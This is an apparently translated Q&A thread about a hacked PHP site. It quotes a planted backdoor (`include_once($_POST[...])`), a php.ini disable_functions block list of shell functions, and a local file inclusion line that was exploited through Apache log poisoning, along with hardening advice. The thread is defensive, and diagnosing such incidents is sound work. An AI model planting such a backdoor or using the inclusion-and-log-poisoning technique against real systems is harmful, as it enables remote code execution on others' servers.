PHP 代码注入 - 这怎么会发生以及如何防止它?

Posted

技术标签:

【中文标题】PHP 代码注入 - 这怎么会发生以及如何防止它?【英文标题】:PHP code injected - how could this happen and how to prevent it? 【发布时间】:2012-03-07 18:44:42 【问题描述】:

所以我在一个网站上发现了一个注入代码。几个 php 文件前面带有 obfuscated code,其计算结果为 a script,允许访问文件系统中的其他文件并执行终端命令。其他一些页面也注入了这个简单的代码:

<?php
if(isset($_POST"VXzGE")) include_once($_POST"VXzGE");

我被告知服务器本身没有任何违规行为,所以我能想到的唯一可能发生这种违规行为的方法是通过不安全的形式。假设网站有几种形式:

    部分表单上传文件 数据库中的一些保存信息 其他只根据提交的表单内容保存一个cookie

我如何检查注入的来源?

我相信一定有一些常见的方法来做这种事情,它们是什么?

仅供参考,我的服务器通过 php.ini 禁用了这些功能:

disable_functions = "apache_child_terminate, escapeshellarg, escapeshellcmd, exec, fp, fput, highlight_file, passthru, php_uname, popix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, prce, system"

【问题讨论】:

【参考方案1】:

输入显然来自...输入 :) 在所有文件中搜索 $_GET$_POST$_REQUEST(或者如果您使用像 Kohana 这样的框架,$this-&gt;input-&gt;post() 或任何该框架的相关方法.

您应该始终清理所有输入,即使它是您在表单上设置为隐藏字段的内容 - 它可以由用户更改,您不能假设它是干净的。

基本的“清理”方法是在您的输入上运行htmlspecialchars(),但我建议使用更强大的方法。我选择的武器一般是从 Kohana 2.3 中借用 Input::xss_clean() 方法(输入库,xss_clean 方法) - pick a version from here。这样做的好处是它是由真正了解他们的东西的人开发的,经过社区编辑并且运行良好。

【讨论】:

【参考方案2】:

您的文件似乎没有写保护(只读)。您应该做的最重要的事情是使代码只读。实现起来很简单,而且非常有效。

除此之外,您应该确保进入您的应用程序的所有输入都被正确列入白名单,并且阻止任何不允许的输入。对于 PHP,建议安装 suhosin extension。

你会发现各种各样的cheat-sheets on the OWASP website 来看看。

【讨论】:

【参考方案3】:

为了将来参考,我将披露用于注入代码的漏洞。

首先,有一个不安全的文件有一个明显的漏洞:

include 'pages/' . $_GET['page'] . '.php';

这还没有给攻击者对文件系统的写访问权,但是由于网站可以访问整个文件系统,它能够读取 Apache 日志文件(Apache 没有 chroot 和不安全的文件权限)。攻击者发现了这个漏洞,这让他可以在 URL 中植入恶意代码,该代码在他读取 Apache 日志文件的那一刻就被执行。

所以最后一个明显的漏洞和其他几个疏忽允许这种代码注入。

删除了不安全的文件,修补了漏洞 - 经验教训。

【讨论】:

以上是关于PHP 代码注入 - 这怎么会发生以及如何防止它?的主要内容,如果未能解决你的问题,请参考以下文章

如何防止代码注入攻击在PHP

php如何防止sql注入

PHP怎么防止sql注入

如何防止使用动态表名进行 SQL 注入?

php中防止SQL注入的方法

如何防止sql注入oracle apex